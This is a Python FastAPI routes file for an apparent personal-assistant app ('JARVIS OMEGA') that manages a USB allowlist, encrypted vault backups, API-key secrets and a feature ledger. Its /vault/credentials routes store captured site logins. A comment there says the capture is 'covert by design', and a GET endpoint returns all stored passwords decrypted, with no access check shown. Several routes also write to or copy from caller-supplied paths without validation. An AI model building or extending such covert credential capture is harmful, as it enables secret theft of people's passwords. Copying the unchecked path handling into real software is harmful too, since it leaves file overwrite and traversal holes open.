backend/routes/security_routes.py

from fastapi import HTTPException
from fastapi import APIRouter
from pydantic import BaseModel

router = APIRouter()

# Auto-seed master vault ledger on every startup
try:
    from backend.services.master_vault_ledger import _auto_seed
    _auto_seed()
except Exception:
    pass

class UsbPolicy(BaseModel):
    device_id: str
    action: str

class VaultFileOp(BaseModel):
    source_path: str
    target_path: str

from backend.services.usb_monitor import get_db_path, extract_vid_pid, add_usb_to_allowlist, remove_usb_from_allowlist
import sqlite3

@router.get("/usb/authorized")
async def get_authorized_drives():
    try:
        with sqlite3.connect(get_db_path()) as conn:
            conn.execute('PRAGMA journal_mode=WAL')
            cursor = conn.cursor()
            cursor.execute("SELECT vendor_id, product_id FROM usb_allowlist")
            rows = cursor.fetchall()
            return [f"USB\\VID_{r[0]}&PID_{r[1]}" for r in rows]
    except Exception:
        return []

@router.get("/usb/active")
async def get_active_drives():
    from backend.services.usb_monitor import get_active_usb_drives
    try:
        return get_active_usb_drives()
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

@router.post("/usb/policy")
async def set_usb_policy(p: UsbPolicy):
    vid, pid = extract_vid_pid(p.device_id)
    if vid == "UNKNOWN" and pid == "UNKNOWN":
        vid, pid = p.device_id, "ANY"
        
    if p.action == "allow":
        add_usb_to_allowlist(vid, pid)
    elif p.action == "revoke":
        remove_usb_from_allowlist(vid, pid)
    return {"status": "ok"}

class VaultBuildOp(BaseModel):
    mode: str = "full"
    target_filename: str

@router.post("/vault/build")
async def api_build_vault(op: VaultBuildOp):
    """Builds a vault export (full or sanitized) locally."""
    from backend.security.vault_builder import build_vault
    import os
    try:
        source_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
        target_path = os.path.join(source_path, op.target_filename)
        
        # Enforce name based on mode for safety
        if op.mode == "sanitized":
            target_path = os.path.join(source_path, "OMEGA_CORE_V15_CLEAN.vault")
            
        final_path = await build_vault(op.mode, source_path, target_path)
        return {"status": "success", "target": final_path, "mode": op.mode}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

@router.post("/vault/encrypt_to_usb")
async def encrypt_to_usb(op: VaultFileOp):
    """Full OMEGA Master Vault backup to USB."""
    from backend.security.vault_builder import build_vault
    try:
        await build_vault("full", op.source_path, op.target_path)
        return {
            "status": "encrypted",
            "target": op.target_path,
            "message": "Full OMEGA vault — codebase + HF server + cloud server + Android APK + SQLite DB + allowlist + config encrypted to OMEGA_CORE_V15.vault"
        }
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))


@router.post("/vault/decrypt_from_usb")
async def api_decrypt_from_usb(req: VaultFileOp):
    import asyncio
    import tempfile
    import os
    import shutil
    from backend.services.usb_vault import decrypt_directory
    
    async def _do_restore():
        def _restore():
            with tempfile.TemporaryDirectory() as staging_dir:
                # 1. Decrypt and Unzip into staging
                decrypt_directory(req.source_path, staging_dir)
                
                # 2. Auto-configure AppData on new PC
                appdata_staging = os.path.join(staging_dir, "JARVIS_OS_APPDATA")
                if os.path.exists(appdata_staging):
                    appdata_target = os.path.join(os.environ.get('APPDATA', os.path.expanduser('~')), 'JARVIS_OS')
                    shutil.copytree(appdata_staging, appdata_target, dirs_exist_ok=True)
                
                # 3. Restore Codebase or EXE
                code_staging = os.path.join(staging_dir, "F.R.I.D.A.Y - OMEGA")
                exe_staging = os.path.join(staging_dir, "JARVIS_OMEGA.exe")
                
                if os.path.exists(code_staging):
                    shutil.copytree(code_staging, req.target_path, dirs_exist_ok=True)
                elif os.path.exists(exe_staging):
                    os.makedirs(req.target_path, exist_ok=True)
                    shutil.copy2(exe_staging, os.path.join(req.target_path, "JARVIS_OMEGA.exe"))

        await asyncio.to_thread(_restore)

    try:
        await _do_restore()
        return {"status": "success", "message": f"Successfully decrypted, unzipped, and auto-configured environment at {req.target_path}"}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

class SecretRequest(BaseModel):
    key_name: str
    plain_value: str

@router.post("/vault/secrets")
async def api_set_secret(req: SecretRequest):
    from backend.services.usb_vault import set_secret
    try:
        set_secret(req.key_name, req.plain_value)
        return {"status": "success", "message": f"Secret '{req.key_name}' securely encrypted and injected into vault."}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

class DomainKeyRequest(BaseModel):
    domain: str
    api_key: str

@router.post("/vault/domain_keys")
async def set_domain_key(req: DomainKeyRequest):
    """Securely injects one of the 14 hybrid multi-keys into the vault."""
    from backend.services.usb_vault import set_secret, KeyDomain, KEY_DOMAIN_ENV_MAP
    try:
        domain_enum = KeyDomain(req.domain)
        env_var = KEY_DOMAIN_ENV_MAP[domain_enum]
        set_secret(env_var, req.api_key)
        return {"status": "success", "message": f"Successfully injected API key for domain '{domain_enum.value}' ({env_var})"}
    except ValueError:
        raise HTTPException(status_code=400, detail=f"Invalid domain. Must be one of: {[d.value for d in KeyDomain]}")
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

@router.get("/vault/domain_keys/status")
async def get_domain_keys_status():
    """Returns a list of all 14 domains and whether they have a key configured."""
    from backend.services.usb_vault import KeyDomain, KEY_DOMAIN_ENV_MAP, get_secret
    import os
    status = {}
    for domain in KeyDomain:
        env_var = KEY_DOMAIN_ENV_MAP[domain]
        has_key = bool(os.environ.get(env_var)) or bool(get_secret(env_var))
        status[domain.value] = {"configured": has_key, "env_var": env_var}
    return status

@router.get("/vault/key_usage")
async def get_key_usage():
    """Returns the token usage for all domains today."""
    from backend.security.key_usage_tracker import get_today_usage_by_domain
    try:
        return get_today_usage_by_domain()
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

class CredentialRequest(BaseModel):
    site: str
    username: str
    password: str
    source: str = "sentinel"

@router.post("/vault/credentials")
async def api_save_credential(req: CredentialRequest):
    from backend.services.usb_vault import cipher_suite
    from backend.services.usb_monitor import get_db_path
    from datetime import datetime
    try:
        encrypted_pass = cipher_suite.encrypt(req.password.encode('utf-8'))
        db_path = get_db_path()
        with sqlite3.connect(db_path) as conn:
            conn.execute('PRAGMA journal_mode=WAL')
            conn.execute(
                "INSERT INTO vault_credentials (site, username, password_enc, captured_at, source) VALUES (?, ?, ?, ?, ?)",
                (req.site, req.username, encrypted_pass, datetime.utcnow().isoformat(), req.source)
            )
            conn.commit()
        # Silent — no WS broadcast. Credential capture is covert by design.
        return {"status": "success"}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

@router.get("/vault/credentials")
async def api_get_credentials():
    from backend.services.usb_vault import cipher_suite
    from backend.services.usb_monitor import get_db_path
    try:
        db_path = get_db_path()
        with sqlite3.connect(db_path) as conn:
            conn.execute('PRAGMA journal_mode=WAL')
            cursor = conn.cursor()
            cursor.execute("SELECT id, site, username, password_enc, captured_at, source FROM vault_credentials ORDER BY captured_at DESC")
            rows = cursor.fetchall()
            
            creds = []
            for r in rows:
                try:
                    decrypted = cipher_suite.decrypt(r[3]).decode('utf-8')
                except Exception:
                    decrypted = "DECRYPTION_FAILED"
                creds.append({
                    "id": r[0],
                    "site": r[1],
                    "username": r[2],
                    "password": decrypted,
                    "captured_at": r[4],
                    "source": r[5]
                })
            return creds
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

@router.post("/usb/eject")
async def eject_usb(drive: dict):
    """Ejects a USB drive — OS-specific: Windows DeviceIoControl, macOS diskutil, Linux udisksctl."""
    import subprocess, os, sys
    if os.environ.get('CLOUD_ENV', 'false').lower() == 'true':
        return {"status": "skipped", "reason": "cloud env"}
    drive_letter = drive.get('drive_letter', '')
    if not drive_letter:
        raise HTTPException(status_code=400, detail="No drive_letter provided")
    try:
        platform = sys.platform
        if platform == "win32":
            dl = drive_letter.rstrip("\\").rstrip("/")
            import ctypes
            import ctypes.wintypes
            kernel32 = ctypes.windll.kernel32
            GENERIC_READ = 0x80000000
            GENERIC_WRITE = 0x40000000
            FILE_SHARE_READ = 0x00000001
            FILE_SHARE_WRITE = 0x00000002
            OPEN_EXISTING = 3
            IOCTL_STORAGE_EJECT_MEDIA = 0x2D4808
            FSCTL_LOCK_VOLUME = 0x90018
            FSCTL_DISMOUNT_VOLUME = 0x90020
            hDevice = kernel32.CreateFileW(f"\\\\.\\{dl}", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None)
            if hDevice == -1 or hDevice == 0xffffffff:
                raise Exception("Device busy")
            returned = ctypes.wintypes.DWORD()
            lock_res = kernel32.DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, None, 0, None, 0, ctypes.byref(returned), None)
            if not lock_res:
                kernel32.CloseHandle(hDevice)
                raise Exception("Device busy")
            kernel32.DeviceIoControl(hDevice, FSCTL_DISMOUNT_VOLUME, None, 0, None, 0, ctypes.byref(returned), None)
            eject_res = kernel32.DeviceIoControl(hDevice, IOCTL_STORAGE_EJECT_MEDIA, None, 0, None, 0, ctypes.byref(returned), None)
            kernel32.CloseHandle(hDevice)
            if not eject_res:
                raise Exception("Device busy")
        elif platform == "darwin":
            subprocess.run(["diskutil", "unmount", drive_letter], capture_output=True, text=True, timeout=10, check=False)
        else:
            subprocess.run(["udisksctl", "unmount", "-b", drive_letter], capture_output=True, text=True, timeout=10, check=False)
        return {"status": "ejected", "drive_letter": drive_letter, "platform": platform}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))


# ── MASTER VAULT LEDGER ROUTES ────────────────────────────────────────────────

@router.get("/vault/ledger")
async def get_vault_ledger():
    """Returns the full Master Vault Ledger — all registered features, categories, and statuses."""
    from backend.services.master_vault_ledger import get_full_ledger
    try:
        return get_full_ledger()
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))


@router.get("/vault/ledger/summary")
async def get_vault_ledger_summary():
    """Returns a compact LLM-injectable summary of the entire Master Vault Ledger."""
    from backend.services.master_vault_ledger import get_vault_summary
    try:
        return {"summary": get_vault_summary()}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))


class LedgerEntryRequest(BaseModel):
    feature_key: str
    category: str
    title: str
    description: str
    status: str = "active"

@router.post("/vault/ledger")
async def post_vault_ledger_entry(req: LedgerEntryRequest):
    """Manually registers a new feature or updates an existing one in the Master Vault Ledger."""
    from backend.services.master_vault_ledger import record_feature
    try:
        record_feature(req.feature_key, req.category, req.title, req.description, req.status)
        return {"status": "success", "message": f"Feature '{req.feature_key}' recorded in Master Vault Ledger."}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))